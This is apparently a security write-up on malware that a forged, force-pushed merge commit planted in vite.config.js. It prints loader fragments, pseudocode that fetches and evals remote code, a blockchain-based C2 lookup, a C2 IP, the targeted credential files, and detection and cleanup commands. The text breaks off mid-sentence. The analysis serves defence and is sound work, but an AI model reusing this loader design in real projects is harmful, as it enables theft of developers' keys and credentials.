Infected by git pull and npm run build - Malware planted in a build config through a forged merge commit
I ran git pull , then npm run build . That was all. I didn't open any suspicious file, and I didn't install any new package. Even so, the moment the build runs, malware starts and opens a connection to an external server. This article covers an attack that forges a legitimate merge commit to plant a payload in vite.config.js . It is a generalized summary of what a real investigation found, and it includes detection commands and response steps you can use as they are. This is not a one-off. Several security vendors have reported it as part of a campaign targeting the npm and Vite ecosystem (observed under names such as ChainVeil, ViteVenom and PolinRider). In the GitHub community, too, people have reported the same kind of thing: config files rewritten by a force-push. What happens The sequence is: - One team member's machine gets infected with malware - The malware steals Git hosting credentials from that machine - With those credentials, it force-pushes a poisoned commit to every branch of every repository it can reach - Only one build config file is poisoned. Obfuscated code is appended to the end - Other members fetch the poisoned version with git pull - The payload starts the moment they run npm run build - The process it starts keeps talking to an external C2 and can receive and run arbitrary code Step 4 is the key. Only one file is poisoned, and it is a config file every project has. Neither node_modules nor package.json is touched. Dependency audit tools won't catch it. How fast it moves In the observed case, 14 minutes after a legitimate PR merge, a poisoned commit imitating the same content overwrote develop , and within about a minute a dozen or so branches had been rewritten one after another. The shortest gap was 2 seconds. This is not done by hand. A script runs the moment the credentials are obtained. And production and staging branches are targets too. If CI/CD is running, it goes all the way to deployment. How it works Stage 1: living inside the build config Code is appended to the end of vite.config.js , after a long run of whitespace. export default defineConfig({ // ...normal config... }); ← several hundred characters of whitespace → global.o='8-14648';var _$_35f2=(function(g,p){... Why nobody notices. There are three reasons. It is at the end of the file, not the top. In a diff, it only looks as if the }); line was changed. It is pushed off-screen by whitespace, so you won't see it without scrolling sideways in the editor. And the change is effectively two lines. git diff --stat shows: 1 file changed, 2 insertions(+), 3 deletions(-) Almost nobody reads the contents after seeing that. ESM files also get a trick at the top so that require works: import { createRequire } from 'node:module'; const require = createRequire(import.meta.url); The obfuscation is two layers deep. A character swap restores a string table, then a dictionary expansion builds the code itself, which is run through the Function constructor. This keeps keywords from turning up in a static search. Stage 2: hiding the C2 on a blockchain Stage 2 has one job: get the address of the C2 server. It reads that address from a public blockchain. 1. Connect to a public Ethereum RPC over JSON-RPC 2. Get the latest block with eth_blockNumber 3. Walk back through blocks with eth_getBlockByNumber 4. Look for a transaction whose sender address contains a specific string 5. Build the C2 address from that transaction's recipient (to) 6. Fetch http:// /boot and start it with child_process.spawn('node', ['-e', ...]) Three RPC endpoints are provided and tried in order. If one goes down, it still works. Three things make this technique hard to deal with. Seizing the server does nothing. The attacker just writes a new address to the blockchain and is back. Blocking by destination domain is hard. The destination is a public RPC service, which is legitimate infrastructure. Even if you don't work with blockchains at all, you can't call traffic to publicnode.com malicious on that alone. A blockchain can't be deleted. A system whose whole value is that nothing disappears is being used as an order sheet that never disappears. This technique is called EtherHiding. Reported variants use TRON, Aptos and BNB Smart Chain as well as Ethereum. Stage 3: receiving and running arbitrary code In short, the resident process does this: _H = 'http:// :443' if (process.argv.includes('-skipwarn')) return // can disable itself with a startup flag if (_t_h) return // prevents running twice _I = await getHttpJson(H + '/init') eval(I.B) // ← runs the received code on the spot This is the most important part. Because it runs code received from outside with eval , what it actually does depends entirely on what the attacker sends. require is already exposed globally, so reading and writing files, sending data out, installing more persistence - anything is possible. And eval leaves nothing on disk. It is impossible in principle to determine afterwards "what was stolen". How it gets in: a forged legitimate commit The cleverest part is how it gets into the repository. There were two commits with the same "Merge pull request #NN". | Legitimate | Forged | | |---|---|---| | Author | the member (+0900) | the member (+0900) ← identical | | Author date | same | same | | Parent commits | same | same | | Commit message | same | same | | Committer | GitHub | the member (+0100) | | Signature | yes (PGP signature) | no | vite.config.js | 963 bytes | 9510 bytes | The legitimate commit was copied wholesale, rebuilt with the payload injected into the build config, and overwritten with a force-push. On GitHub's web UI, it just looks like one ordinary merge. Tell 1: is the Committer GitHub ? When you press "Merge pull request" on GitHub, the commit is actually created by GitHub's servers. So a legitimate merge always looks like this: author you committer GitHub ← here gpgsig -----BEGIN PGP SIGNATURE----- ← signed A merge commit whose Committer is a person's name was not merged on GitHub. Tell 2: is it signed? A commit's Author and Committer are just strings. Anyone can claim any name. There is no password and no check. Change git config user.name locally and you can commit under anyone's name. Only the signature can't be forged. git log --format='%h %G? %cn %s' -20 Check whether %G? is G (good signature) or N (no signature). Tell 3: time zone In the observed case, the forged commit was +0100 (Europe). A machine in Japan would never produce that value. git log --format='%h %ad %cd %s' --date=iso -20 The person whose name was used had nothing to do with it The forged commit carried the name of a different member who had not been compromised. It was camouflage, to make it look like "the usual merge" on GitHub. The name on a commit and the credentials that actually pushed it are two different things. The latter can't be faked, and it is recorded in GitHub's event log. gh api "repos/OWNER/REPO/events?per_page=100" \ --jq '.[] | select(.type=="PushEvent") | "(.created_at) (.actor.login) (.payload.ref)"' Look at this before you start hunting for a culprit. Questioning the person whose name was used gets you nowhere. What is exposed The payload runs with the user's own permissions. Not in a container, not in a sandbox. In other words, it can read anything that user can read. | Category | Targets | |---|---| | SSH | every private key under ~/.ssh | | Git hosting | ~/.config/gh , ~/.git-credentials | | Cloud | ~/.aws , ~/.azure , ~/.kube , ~/.docker/config.json | | App config | each project's .env (DB credentials, API keys, etc.) | | Browser | saved passwords, session cookies | | Packages | ~/.npmrc (npm token) | The damage is not limited to one project. The whole machine is in scope. If you work on several clients' projects from one machine, keys for unrelated projects are caught up too. "No traces" does not mean "safe" The investigation did not find any of the following: - files that looked like archives staged for exfiltration - file-based persistence (LaunchAgents / cron / changes to shell config) - contamination of node_modules , the npm cache or global packages But this is not evidence that nothing was stolen, for three reasons. Stage 3 is eval , so what it ran leaves nothing on disk. The system was set not to update atime (last access time). On macOS this is not unusual out of the box. The reasoning "the key's atime is old, so it wasn't read" does not hold. And macOS does not log outbound connections by default. The only option is to respond on the assumption that everything leaked. Detection commands On the machine Look for the running process ps aux | grep "global.i=" | grep -v grep If there is a process of the form node -e global.i='...' , the machine is infected. Check for connections to the C2 lsof -nP -i | grep -E "181.214.149.148" Look for poisoned files grep -rl '$jsoToArr' ~ --exclude-dir=Library 2>/dev/null | head -20 Check the npm cache grep -rl '$jsoToArr' ~/.npm/cacache 2>/dev/null | head Check global packages grep -rl '$jsoToArr' "$(npm root -g)" 2>/dev/null | head In the repository Look for config files of unusual size A normal vite.config.js is about 1 KB. find . -name ".config." -not -path "/node_modules/" -size +5k -exec ls -la {} ; Look for unsigned merge commits git log --format='%h %G? %cn %s' -30 | grep -v "GitHub " Check every branch at once for b in $(git branch -r --format='%(refname:short)' | grep -v HEAD); do git ls-tree -r --name-only "$b" \ | grep -E '.(js|ts|mjs|cjs)$' \ | grep -iE 'config|vite|webpack|rollup|next' \ | while read f; do n=$(git show "$b:$f" 2>/dev/null | grep -c '$jsoToArr') [ "$n" != "0" ] && echo "infected: $b:$f" done done If it happens to you Priority 1: immediately (within minutes) Disconnect the machine from the network. Kill the process. kill -9 $(pgrep -f "global.i=") Suspend the account whose credentials were stolen. Even if you clean the repositories, they will be overwritten again as long as the credentials are al
Comments
No comments yet. Start the discussion.